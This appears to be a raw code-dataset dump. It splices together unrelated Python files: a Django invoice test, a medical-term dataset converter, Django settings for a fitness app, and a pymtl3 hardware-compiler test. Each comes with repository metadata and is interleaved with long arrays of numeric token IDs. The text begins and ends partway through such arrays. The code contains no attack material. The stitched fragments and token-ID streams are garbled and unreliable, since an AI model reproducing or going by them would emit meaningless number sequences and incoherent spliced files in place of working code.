29918, 735, 29883, 3101, 13, 9651, 12428, 29889, 15108, 583, 353, 525, 2704, 29915, 13, 9651, 4436, 4619, 11297, 29876, 29915, 718, 851, 29898, 15003, 1627, 29889, 4830, 29918, 735, 29883, 3101, 13, 13, 4706, 565, 4436, 29901, 13, 9651, 12428, 29889, 2704, 353, 4436, 13, 9651, 12428, 29889, 5327, 29918, 401, 353, 29871, 29946, 29900, 29900, 13, 13, 4706, 396, 16913, 278, 2009, 13, 4706, 12428, 29889, 7620, 580, 13, 13, 4706, 736, 12428, 13, 13, 2 ]
invoice/tests.py
Chris7/django-invoice
139
60020
<reponame>Chris7/django-invoice<filename>invoice/tests.py import datetime from django.test import TestCase from django.contrib.auth.models import User from addressbook.models import Address, Country from .models import Invoice class InvoiceTestCase(TestCase): def setUp(self): usr = User.objects.create(username='test', first_name='John', last_name='Doe', email='<EMAIL>') country = Country.objects.create(name='TestCountry') address = Address.objects.create(contact_name='<NAME>', address_one='Street', town='Town', postcode='PostCode', country=country) self.inv = Invoice.objects.create(user=usr, address=address) def testInvoiceId(self): inv = self.inv self.assertEquals(inv.invoice_id, u'TTH9R') inv.invoice_id = False inv.save() self.assertEquals(inv.invoice_id, u'TTH9R') def testGetDue(self): inv = self.inv inv.draft = True inv.save() self.assertEquals(len(Invoice.objects.get_due()), 0) inv.draft = False inv.save() self.assertEquals(len(Invoice.objects.get_due()), 1) inv.invoiced = True inv.save() self.assertEquals(len(Invoice.objects.get_due()), 0) today = datetime.date.today() yesterday = today - datetime.timedelta(1) tomorrow = today + datetime.timedelta(1) inv.invoiced = False inv.invoice_date = yesterday inv.save() self.assertEquals(len(Invoice.objects.get_due()), 1) inv.invoice_date = tomorrow inv.save() self.assertEquals(len(Invoice.objects.get_due()), 0)
[ 1, 529, 276, 1112, 420, 29958, 11626, 275, 29955, 29914, 14095, 29899, 262, 14917, 29966, 9507, 29958, 262, 14917, 29914, 21150, 29889, 2272, 13, 5215, 12865, 13, 13, 3166, 9557, 29889, 1688, 1053, 4321, 8259, 13, 3166, 9557, 29889, 21570, 29889, 5150, 29889, 9794, 1053, 4911, 13, 3166, 3211, 2909, 29889, 9794, 1053, 16428, 29892, 15456, 13, 13, 3166, 869, 9794, 1053, 512, 14917, 13, 13, 13, 1990, 512, 14917, 3057, 8259, 29898, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 502, 29878, 353, 4911, 29889, 12650, 29889, 3258, 29898, 6786, 2433, 1688, 742, 13, 462, 462, 29871, 937, 29918, 978, 2433, 11639, 742, 13, 462, 462, 29871, 1833, 29918, 978, 2433, 6132, 29872, 742, 13, 462, 462, 29871, 4876, 2433, 29966, 26862, 6227, 29958, 1495, 13, 13, 4706, 4234, 353, 15456, 29889, 12650, 29889, 3258, 29898, 978, 2433, 3057, 20779, 1495, 13, 4706, 3211, 353, 16428, 29889, 12650, 29889, 3258, 29898, 12346, 29918, 978, 2433, 29966, 5813, 29958, 742, 13, 462, 462, 308, 3211, 29918, 650, 2433, 855, 4521, 742, 13, 462, 462, 308, 4726, 2433, 29911, 776, 742, 13, 462, 462, 308, 1400, 401, 2433, 6747, 3399, 742, 13, 462, 462, 308, 4234, 29922, 13509, 29897, 13, 13, 4706, 1583, 29889, 11569, 353, 512, 14917, 29889, 12650, 29889, 3258, 29898, 1792, 29922, 4855, 29892, 3211, 29922, 7328, 29897, 13, 13, 1678, 822, 1243, 797, 14917, 1204, 29898, 1311, 1125, 13, 4706, 2437, 353, 1583, 29889, 11569, 13, 4706, 1583, 29889, 9294, 14776, 29898, 11569, 29889, 262, 14917, 29918, 333, 29892, 318, 29915, 29911, 4690, 29929, 29934, 1495, 13, 13, 4706, 2437, 29889, 262, 14917, 29918, 333, 353, 7700, 13, 4706, 2437, 29889, 7620, 580, 13, 13, 4706, 1583, 29889, 9294, 14776, 29898, 11569, 29889, 262, 14917, 29918, 333, 29892, 318, 29915, 29911, 4690, 29929, 29934, 1495, 13, 13, 1678, 822, 1243, 2577, 29928, 434, 29898, 1311, 1125, 13, 4706, 2437, 353, 1583, 29889, 11569, 13, 13, 4706, 2437, 29889, 29881, 4154, 353, 5852, 13, 4706, 2437, 29889, 7620, 580, 13, 4706, 1583, 29889, 9294, 14776, 29898, 2435, 29898, 797, 14917, 29889, 12650, 29889, 657, 29918, 29123, 25739, 29871, 29900, 29897, 13, 13, 4706, 2437, 29889, 29881, 4154, 353, 7700, 13, 4706, 2437, 29889, 7620, 580, 13, 4706, 1583, 29889, 9294, 14776, 29898, 2435, 29898, 797, 14917, 29889, 12650, 29889, 657, 29918, 29123, 25739, 29871, 29896, 29897, 13, 13, 4706, 2437, 29889, 262, 1365, 7612, 353, 5852, 13, 4706, 2437, 29889, 7620, 580, 13, 4706, 1583, 29889, 9294, 14776, 29898, 2435, 29898, 797, 14917, 29889, 12650, 29889, 657, 29918, 29123, 25739, 29871, 29900, 29897, 13, 13, 4706, 9826, 353, 12865, 29889, 1256, 29889, 27765, 580, 13, 4706, 22600, 353, 9826, 448, 12865, 29889, 9346, 287, 2554, 29898, 29896, 29897, 13, 4706, 6454, 22396, 353, 9826, 718, 12865, 29889, 9346, 287, 2554, 29898, 29896, 29897, 13, 13, 4706, 2437, 29889, 262, 1365, 7612, 353, 7700, 13, 4706, 2437, 29889, 262, 14917, 29918, 1256, 353, 22600, 13, 4706, 2437, 29889, 7620, 580, 13, 4706, 1583, 29889, 9294, 14776, 29898, 2435, 29898, 797, 14917, 29889, 12650, 29889, 657, 29918, 29123, 25739, 29871, 29896, 29897, 13, 13, 4706, 2437, 29889, 262, 14917, 29918, 1256, 353, 6454, 22396, 13, 4706, 2437, 29889, 7620, 580, 13, 4706, 1583, 29889, 9294, 14776, 29898, 2435, 29898, 797, 14917, 29889, 12650, 29889, 657, 29918, 29123, 25739, 29871, 29900, 29897, 13, 2 ]
mednorm/datasets/base.py
mbelousov/MedNorm-corpus
11
1607213
import os import pandas as pd class DatasetConverter(object): def __init__(self, dataset_path, dataset_name=None): self.dataset_path = dataset_path if dataset_name is None: self.dataset_name = os.path.basename(dataset_path).upper() else: self.dataset_name = dataset_name def convert_lines(self): raise NotImplementedError("not implemented.") def construct_line(self, item_id, phrase, meddra_code='', sct_id='', umls_cui=''): return (self.dataset_name, item_id, phrase, meddra_code, sct_id, umls_cui) def _padded_print(self, message, padding): print("%s%s" % (padding, message)) def print_stats(self, padding=''): print("") class CsvDatasetConverter(DatasetConverter): def __init__(self, dataset_path, dataset_name=None, item_id_col=0, input_col=1, target_col=2, target_term='meddra_code', sep=',', **read_kwargs): super(CsvDatasetConverter, self).__init__(dataset_path, dataset_name) self.input_col = input_col self.item_id_col = item_id_col self.target_col = target_col self.target_term = target_term self.sep = sep self.read_kwargs = read_kwargs def convert_lines(self): df = pd.read_csv(self.dataset_path, sep=self.sep, dtype='str', **self.read_kwargs) lines = [] if self.item_id_col is None: collection = zip(df.index, df[df.columns[self.input_col]].values, df[df.columns[self.target_col]].values) else: collection = zip(df[df.columns[self.item_id_col]].values, df[df.columns[self.input_col]].values, df[df.columns[self.target_col]].values) for item_id, phrase, target in collection: line_params = {'item_id': item_id, 'phrase': phrase, self.target_term: target} lines.append(self.construct_line(**line_params)) return lines
[ 1, 1053, 2897, 13, 13, 5215, 11701, 408, 10518, 13, 13, 13, 1990, 13373, 24541, 18545, 29898, 3318, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 8783, 29918, 2084, 29892, 8783, 29918, 978, 29922, 8516, 1125, 13, 4706, 1583, 29889, 24713, 29918, 2084, 353, 8783, 29918, 2084, 13, 4706, 565, 8783, 29918, 978, 338, 6213, 29901, 13, 9651, 1583, 29889, 24713, 29918, 978, 353, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 24713, 29918, 2084, 467, 21064, 580, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 24713, 29918, 978, 353, 8783, 29918, 978, 13, 13, 1678, 822, 3588, 29918, 9012, 29898, 1311, 1125, 13, 4706, 12020, 2216, 1888, 2037, 287, 2392, 703, 1333, 8762, 23157, 13, 13, 1678, 822, 3386, 29918, 1220, 29898, 1311, 29892, 2944, 29918, 333, 29892, 16549, 29892, 13, 462, 539, 1612, 19811, 29918, 401, 2433, 742, 269, 312, 29918, 333, 2433, 742, 318, 828, 29879, 29918, 29883, 1481, 2433, 29374, 13, 4706, 736, 313, 1311, 29889, 24713, 29918, 978, 29892, 2944, 29918, 333, 29892, 16549, 29892, 13, 18884, 1612, 19811, 29918, 401, 29892, 269, 312, 29918, 333, 29892, 318, 828, 29879, 29918, 29883, 1481, 29897, 13, 13, 1678, 822, 903, 29886, 23959, 29918, 2158, 29898, 1311, 29892, 2643, 29892, 7164, 1125, 13, 4706, 1596, 11702, 29879, 29995, 29879, 29908, 1273, 313, 12791, 29892, 2643, 876, 13, 13, 1678, 822, 1596, 29918, 16202, 29898, 1311, 29892, 7164, 2433, 29374, 13, 4706, 1596, 703, 1159, 13, 13, 13, 1990, 315, 4501, 16390, 24541, 18545, 29898, 16390, 24541, 18545, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 8783, 29918, 2084, 29892, 8783, 29918, 978, 29922, 8516, 29892, 13, 462, 2944, 29918, 333, 29918, 1054, 29922, 29900, 29892, 1881, 29918, 1054, 29922, 29896, 29892, 3646, 29918, 1054, 29922, 29906, 29892, 13, 462, 3646, 29918, 8489, 2433, 2168, 19811, 29918, 401, 742, 13, 462, 16345, 29922, 742, 742, 3579, 949, 29918, 19290, 1125, 13, 4706, 2428, 29898, 29907, 4501, 16390, 24541, 18545, 29892, 1583, 467, 1649, 2344, 12035, 24713, 29918, 2084, 29892, 8783, 29918, 978, 29897, 13, 4706, 1583, 29889, 2080, 29918, 1054, 353, 1881, 29918, 1054, 13, 4706, 1583, 29889, 667, 29918, 333, 29918, 1054, 353, 2944, 29918, 333, 29918, 1054, 13, 4706, 1583, 29889, 5182, 29918, 1054, 353, 3646, 29918, 1054, 13, 4706, 1583, 29889, 5182, 29918, 8489, 353, 3646, 29918, 8489, 13, 4706, 1583, 29889, 19570, 353, 16345, 13, 4706, 1583, 29889, 949, 29918, 19290, 353, 1303, 29918, 19290, 13, 13, 1678, 822, 3588, 29918, 9012, 29898, 1311, 1125, 13, 4706, 4489, 353, 10518, 29889, 949, 29918, 7638, 29898, 1311, 29889, 24713, 29918, 2084, 29892, 16345, 29922, 1311, 29889, 19570, 29892, 26688, 2433, 710, 742, 13, 462, 308, 3579, 1311, 29889, 949, 29918, 19290, 29897, 13, 4706, 3454, 353, 5159, 13, 4706, 565, 1583, 29889, 667, 29918, 333, 29918, 1054, 338, 6213, 29901, 13, 9651, 4333, 353, 14319, 29898, 2176, 29889, 2248, 29892, 13, 462, 632, 4489, 29961, 2176, 29889, 13099, 29961, 1311, 29889, 2080, 29918, 1054, 29962, 1822, 5975, 29892, 13, 462, 632, 4489, 29961, 2176, 29889, 13099, 29961, 1311, 29889, 5182, 29918, 1054, 29962, 1822, 5975, 29897, 13, 4706, 1683, 29901, 13, 9651, 4333, 353, 14319, 29898, 2176, 29961, 2176, 29889, 13099, 29961, 1311, 29889, 667, 29918, 333, 29918, 1054, 29962, 1822, 5975, 29892, 13, 462, 632, 4489, 29961, 2176, 29889, 13099, 29961, 1311, 29889, 2080, 29918, 1054, 29962, 1822, 5975, 29892, 13, 462, 632, 4489, 29961, 2176, 29889, 13099, 29961, 1311, 29889, 5182, 29918, 1054, 29962, 1822, 5975, 29897, 13, 13, 4706, 363, 2944, 29918, 333, 29892, 16549, 29892, 3646, 297, 4333, 29901, 13, 9651, 1196, 29918, 7529, 353, 11117, 667, 29918, 333, 2396, 2944, 29918, 333, 29892, 525, 24588, 559, 2396, 16549, 29892, 13, 462, 965, 1583, 29889, 5182, 29918, 8489, 29901, 3646, 29913, 13, 9651, 3454, 29889, 4397, 29898, 1311, 29889, 11433, 29918, 1220, 29898, 1068, 1220, 29918, 7529, 876, 13, 4706, 736, 3454, 13, 2 ]
pyfitnesspal/settings.py
gord1anknot/pyfitnesspal
2
147540
<reponame>gord1anknot/pyfitnesspal # Copyright 2015 <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Django settings for pyfitnesspal project. For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(__file__)) SECRET_KEY = os.environ['SECRET_KEY'] if 'DJANGO_ENV' in os.environ and\ os.environ['DJANGO_ENV'].lower().startswith('prod'): DEBUG = False TEMPLATE_DEBUG = False ALLOWED_HOSTS = [] else: DEBUG = True TEMPLATE_DEBUG = True ALLOWED_HOSTS = [] INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'main', 'crispy_forms', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) ROOT_URLCONF = 'pyfitnesspal.urls' WSGI_APPLICATION = 'pyfitnesspal.wsgi.application' # Internationalization # https://docs.djangoproject.com/en/1.7/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Database # https://docs.djangoproject.com/en/1.7/ref/settings/#databases DATABASES = {} # Parse database configuration from $DATABASE_URL import dj_database_url DATABASES['default'] = dj_database_url.config() # This does a test to see which db is in use, as sqlite3 # might be used locally during development. # Enable Connection Pooling (if desired) # if 'ENGINE' in DATABASES['default'] and \ # DATABASES['default']['ENGINE'] == \ # 'django.db.backends.postgresql_psycopg2': # DATABASES['default']['ENGINE'] = 'django_postgrespool' # Honor the 'X-Forwarded-Proto' header for request.is_secure() SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') # Heroku Django config snippet: allow all host headers ALLOWED_HOSTS = ['*'] # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.7/howto/static-files/ # Static asset configuration STATIC_ROOT = 'staticfiles' STATIC_URL = '/static/' STATICFILES_DIRS = ( # Commercial libraries not available on GitHub or via Bower # could go into 'libraries' os.path.join(BASE_DIR, 'static/libraries'), # Custom frontend assets in css/js subfolders os.path.join(BASE_DIR, 'static/custom'), # Bower controlled assets os.path.join(BASE_DIR, 'static/bower_components'), ) STATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage' TEMPLATE_DIRS = ( os.path.join(BASE_DIR, 'templates'), ) LOGIN_REDIRECT_URL = 'pyfitnesspal_home' LOGIN_URL = 'pyfitnesspal_login' LOGOUT_URL = 'pyfitnesspal_logout' CRISPY_TEMPLATE_PACK = 'bootstrap3'
[ 1, 529, 276, 1112, 420, 29958, 29887, 536, 29896, 804, 1333, 29914, 2272, 9202, 2264, 7830, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29896, 29945, 529, 5813, 29958, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 1678, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 13, 15945, 29908, 13, 29928, 5364, 6055, 363, 11451, 9202, 2264, 7830, 2060, 29889, 13, 13, 2831, 901, 2472, 373, 445, 934, 29892, 1074, 13, 991, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29896, 29889, 29955, 29914, 3332, 1199, 29914, 11027, 29914, 13, 13, 2831, 278, 2989, 1051, 310, 6055, 322, 1009, 1819, 29892, 1074, 13, 991, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29896, 29889, 29955, 29914, 999, 29914, 11027, 29914, 13, 15945, 29908, 13, 13, 29937, 8878, 10898, 2768, 278, 2060, 763, 445, 29901, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 29757, 13, 5215, 2897, 13, 25416, 29918, 9464, 353, 2897, 29889, 2084, 29889, 25721, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 876, 13, 13, 1660, 22245, 29911, 29918, 10818, 353, 2897, 29889, 21813, 1839, 1660, 22245, 29911, 29918, 10818, 2033, 13, 13, 361, 525, 29928, 29967, 2190, 17080, 29918, 25838, 29915, 297, 2897, 29889, 21813, 322, 29905, 13, 4706, 2897, 29889, 21813, 1839, 29928, 29967, 2190, 17080, 29918, 25838, 13359, 13609, 2141, 27382, 2541, 877, 10633, 29374, 13, 1678, 21681, 353, 7700, 13, 1678, 17067, 3580, 29931, 3040, 29918, 18525, 353, 7700, 13, 1678, 15149, 9806, 3352, 29918, 20832, 29903, 353, 5159, 13, 2870, 29901, 13, 1678, 21681, 353, 5852, 13, 1678, 17067, 3580, 29931, 3040, 29918, 18525, 353, 5852, 13, 1678, 15149, 9806, 3352, 29918, 20832, 29903, 353, 5159, 13, 13, 25580, 1964, 20566, 29918, 3301, 7024, 353, 313, 13, 1678, 525, 14095, 29889, 21570, 29889, 6406, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 5150, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 3051, 8768, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 29879, 10964, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 19158, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 7959, 5325, 742, 13, 1678, 525, 3396, 742, 13, 1678, 525, 29883, 3780, 2272, 29918, 9514, 742, 13, 29897, 13, 13, 29924, 1367, 29928, 1307, 12982, 1525, 29918, 6154, 3289, 1660, 29903, 353, 313, 13, 1678, 525, 14095, 29889, 21570, 29889, 29879, 10964, 29889, 17662, 2519, 29889, 7317, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 9435, 29889, 18877, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 2395, 9600, 29889, 29907, 29879, 9600, 1043, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 5150, 29889, 17662, 2519, 29889, 16746, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 5150, 29889, 17662, 2519, 29889, 7317, 16746, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 19158, 29889, 17662, 2519, 29889, 3728, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 3808, 21452, 292, 29889, 29990, 4308, 5856, 25411, 2519, 742, 13, 29897, 13, 13, 21289, 29918, 4219, 6007, 29943, 353, 525, 2272, 9202, 2264, 7830, 29889, 26045, 29915, 13, 13, 7811, 29954, 29902, 29918, 3301, 7390, 28541, 353, 525, 2272, 9202, 2264, 7830, 29889, 5652, 3146, 29889, 6214, 29915, 13, 13, 29937, 4623, 2133, 13, 29937, 2045, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29896, 29889, 29955, 29914, 3332, 1199, 29914, 29875, 29896, 29947, 29876, 29914, 13, 13, 29931, 19453, 29965, 10461, 29918, 16524, 353, 525, 264, 29899, 375, 29915, 13, 15307, 29918, 29999, 12413, 353, 525, 26913, 29915, 13, 17171, 29918, 29902, 29896, 29947, 29940, 353, 5852, 13, 17171, 29918, 29931, 29896, 29900, 29940, 353, 5852, 13, 17171, 29918, 29911, 29999, 353, 5852, 13, 13, 29937, 5470, 13, 29937, 2045, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29896, 29889, 29955, 29914, 999, 29914, 11027, 8484, 29503, 2129, 13, 25832, 27982, 29903, 353, 6571, 13, 29937, 20969, 2566, 5285, 515, 395, 25832, 27982, 29918, 4219, 13, 5215, 270, 29926, 29918, 9803, 29918, 2271, 13, 25832, 27982, 29903, 1839, 4381, 2033, 353, 270, 29926, 29918, 9803, 29918, 2271, 29889, 2917, 580, 13, 13, 29937, 910, 947, 263, 1243, 304, 1074, 607, 4833, 338, 297, 671, 29892, 408, 21120, 29941, 13, 29937, 1795, 367, 1304, 12430, 2645, 5849, 29889, 13, 29937, 1174, 519, 15160, 28625, 292, 313, 361, 7429, 29897, 13, 29937, 565, 525, 1430, 29954, 8895, 29915, 297, 27640, 27982, 29903, 1839, 4381, 2033, 322, 320, 13, 29937, 308, 27640, 27982, 29903, 1839, 4381, 16215, 1430, 29954, 8895, 2033, 1275, 320, 13, 29937, 308, 525, 14095, 29889, 2585, 29889, 1627, 1975, 29889, 29272, 29918, 567, 29891, 9708, 29887, 29906, 2396, 13, 29937, 268, 27640, 27982, 29903, 1839, 4381, 16215, 1430, 29954, 8895, 2033, 353, 525, 14095, 29918, 2490, 7201, 10109, 29915, 13, 13, 29937, 18236, 278, 525, 29990, 29899, 2831, 1328, 287, 29899, 1184, 517, 29915, 4839, 363, 2009, 29889, 275, 29918, 24216, 580, 13, 1660, 29907, 11499, 29918, 8618, 18454, 29918, 18641, 29918, 23252, 1001, 353, 6702, 10493, 29918, 29990, 29918, 22051, 29956, 1718, 2287, 29928, 29918, 8618, 4986, 742, 525, 991, 1495, 13, 13, 29937, 2439, 9154, 15337, 2295, 11534, 29901, 2758, 599, 3495, 9066, 13, 1964, 27998, 3352, 29918, 20832, 29903, 353, 6024, 29930, 2033, 13, 13, 29937, 624, 2454, 2066, 313, 19407, 29892, 8286, 29892, 1954, 1179, 29897, 13, 29937, 2045, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29896, 29889, 29955, 29914, 3525, 517, 29914, 7959, 29899, 5325, 29914, 13, 13, 29937, 624, 2454, 24342, 5285, 13, 17816, 2965, 29918, 21289, 353, 525, 7959, 5325, 29915, 13, 17816, 2965, 29918, 4219, 353, 8207, 7959, 22208, 13, 13, 17816, 2965, 24483, 29918, 9464, 29903, 353, 313, 13, 1678, 396, 422, 1050, 1455, 9562, 451, 3625, 373, 25492, 470, 3025, 350, 1680, 13, 1678, 396, 1033, 748, 964, 525, 492, 8464, 29915, 13, 1678, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 525, 7959, 29914, 492, 8464, 5477, 13, 1678, 396, 8701, 4565, 355, 21608, 297, 5997, 29914, 1315, 1014, 8771, 414, 13, 1678, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 525, 7959, 29914, 6341, 5477, 13, 1678, 396, 350, 1680, 20704, 21608, 13, 1678, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 525, 7959, 29914, 29890, 1680, 29918, 14036, 5477, 13, 29897, 13, 17816, 2965, 24483, 29918, 1254, 1955, 10461, 353, 525, 1332, 3537, 29877, 895, 29889, 14095, 29889, 29954, 7554, 2517, 7004, 17046, 10547, 10486, 29915, 13, 13, 4330, 3580, 29931, 3040, 29918, 9464, 29903, 353, 313, 13, 1678, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 525, 20943, 5477, 13, 29897, 13, 13, 14480, 1177, 29918, 1525, 4571, 26282, 29918, 4219, 353, 525, 2272, 9202, 2264, 7830, 29918, 5184, 29915, 13, 14480, 1177, 29918, 4219, 353, 525, 2272, 9202, 2264, 7830, 29918, 7507, 29915, 13, 14480, 12015, 29918, 4219, 353, 525, 2272, 9202, 2264, 7830, 29918, 1188, 449, 29915, 13, 13, 11341, 3235, 20055, 29918, 4330, 3580, 29931, 3040, 29918, 29925, 11375, 353, 525, 8704, 29941, 29915, 13, 2 ]
pymtl3/passes/rtlir/behavioral/test/BehavioralRTLIRL4Pass_test.py
hsqforfun/pymtl3
1
24323
<filename>pymtl3/passes/rtlir/behavioral/test/BehavioralRTLIRL4Pass_test.py #========================================================================= # BehavioralRTLIRL4Pass_test.py #========================================================================= # Author : <NAME> # Date : Feb 2, 2019 """Test the level 4 behavioral RTLIR passes. The L4 generation, L4 type check, and visualization passes are invoked. The generation pass results are verified against a reference AST. """ import pytest from pymtl3.datatypes import Bits32 from pymtl3.dsl import Component, Interface, OutPort from pymtl3.dsl.errors import VarNotDeclaredError from pymtl3.passes.rtlir.behavioral.BehavioralRTLIR import * from pymtl3.passes.rtlir.behavioral.BehavioralRTLIRGenL4Pass import ( BehavioralRTLIRGenL4Pass, ) from pymtl3.passes.rtlir.behavioral.BehavioralRTLIRTypeCheckL4Pass import ( BehavioralRTLIRTypeCheckL4Pass, ) from pymtl3.passes.rtlir.behavioral.BehavioralRTLIRVisualizationPass import ( BehavioralRTLIRVisualizationPass, ) from pymtl3.passes.rtlir.errors import PyMTLSyntaxError, PyMTLTypeError from pymtl3.passes.rtlir.util.test_utility import do_test, expected_failure def local_do_test( m ): """Check if generated behavioral RTLIR is the same as reference.""" m.elaborate() m.apply( BehavioralRTLIRGenL4Pass() ) m.apply( BehavioralRTLIRTypeCheckL4Pass() ) m.apply( BehavioralRTLIRVisualizationPass() ) try: ref = m._rtlir_test_ref for blk in m.get_update_blocks(): upblk = m._pass_behavioral_rtlir_gen.rtlir_upblks[ blk ] assert upblk == ref[ blk.__name__ ] except AttributeError: pass #------------------------------------------------------------------------- # Correct test cases #------------------------------------------------------------------------- def test_L4_interface_attr( do_test ): class Ifc( Interface ): def construct( s ): s.foo = OutPort( Bits32 ) class A( Component ): def construct( s ): s.in_ = Ifc() s.out = OutPort( Bits32 ) @s.update def upblk(): s.out = s.in_.foo a = A() a._rtlir_test_ref = { 'upblk' : CombUpblk( 'upblk', [ Assign( Attribute( Base( a ), 'out' ), Attribute( Attribute( Base( a ), 'in_' ), 'foo' ), True ) ] ) } do_test( a ) def test_L4_interface_array_index( do_test ): class Ifc( Interface ): def construct( s ): s.foo = OutPort( Bits32 ) class A( Component ): def construct( s ): s.in_ = [ Ifc() for _ in range(4) ] s.out = OutPort( Bits32 ) @s.update def upblk(): s.out = s.in_[2].foo a = A() a._rtlir_test_ref = { 'upblk' : CombUpblk( 'upblk', [ Assign( Attribute( Base( a ), 'out' ), Attribute( Index( Attribute( Base( a ), 'in_' ), Number(2) ), 'foo' ), True ) ] ) } do_test( a ) #------------------------------------------------------------------------- # PyMTL type errors #------------------------------------------------------------------------- def test_L4_interface_no_field( do_test ): class Ifc( Interface ): def construct( s ): s.foo = OutPort( Bits32 ) class A( Component ): def construct( s ): s.in_ = Ifc() s.out = OutPort( Bits32 ) @s.update def upblk(): s.out = s.in_.bar with expected_failure( VarNotDeclaredError, 's.in_ does not have field "bar"' ): do_test( A() )
[ 1, 529, 9507, 29958, 29886, 962, 15206, 29941, 29914, 3364, 267, 29914, 2273, 29880, 381, 29914, 915, 16300, 284, 29914, 1688, 29914, 28100, 284, 13079, 5265, 2241, 29946, 7129, 29918, 1688, 29889, 2272, 13, 29937, 9166, 9166, 9166, 9166, 4936, 29922, 13, 29937, 1522, 16300, 284, 13079, 5265, 2241, 29946, 7129, 29918, 1688, 29889, 2272, 13, 29937, 9166, 9166, 9166, 9166, 4936, 29922, 13, 29937, 13361, 584, 529, 5813, 29958, 13, 29937, 4712, 259, 584, 26319, 29871, 29906, 29892, 29871, 29906, 29900, 29896, 29929, 13, 15945, 29908, 3057, 278, 3233, 29871, 29946, 6030, 284, 390, 29911, 5265, 29934, 14517, 29889, 13, 13, 1576, 365, 29946, 12623, 29892, 365, 29946, 1134, 1423, 29892, 322, 7604, 2133, 14517, 526, 22336, 29889, 450, 13, 4738, 362, 1209, 2582, 526, 26834, 2750, 263, 3407, 319, 1254, 29889, 13, 15945, 29908, 13, 13, 5215, 11451, 1688, 13, 13, 3166, 282, 962, 15206, 29941, 29889, 4130, 271, 7384, 1053, 350, 1169, 29941, 29906, 13, 3166, 282, 962, 15206, 29941, 29889, 29881, 2536, 1053, 15924, 29892, 25796, 29892, 4451, 2290, 13, 3166, 282, 962, 15206, 29941, 29889, 29881, 2536, 29889, 12523, 1053, 11681, 3664, 6185, 433, 1127, 2392, 13, 3166, 282, 962, 15206, 29941, 29889, 3364, 267, 29889, 2273, 29880, 381, 29889, 915, 16300, 284, 29889, 28100, 284, 13079, 5265, 29934, 1053, 334, 13, 3166, 282, 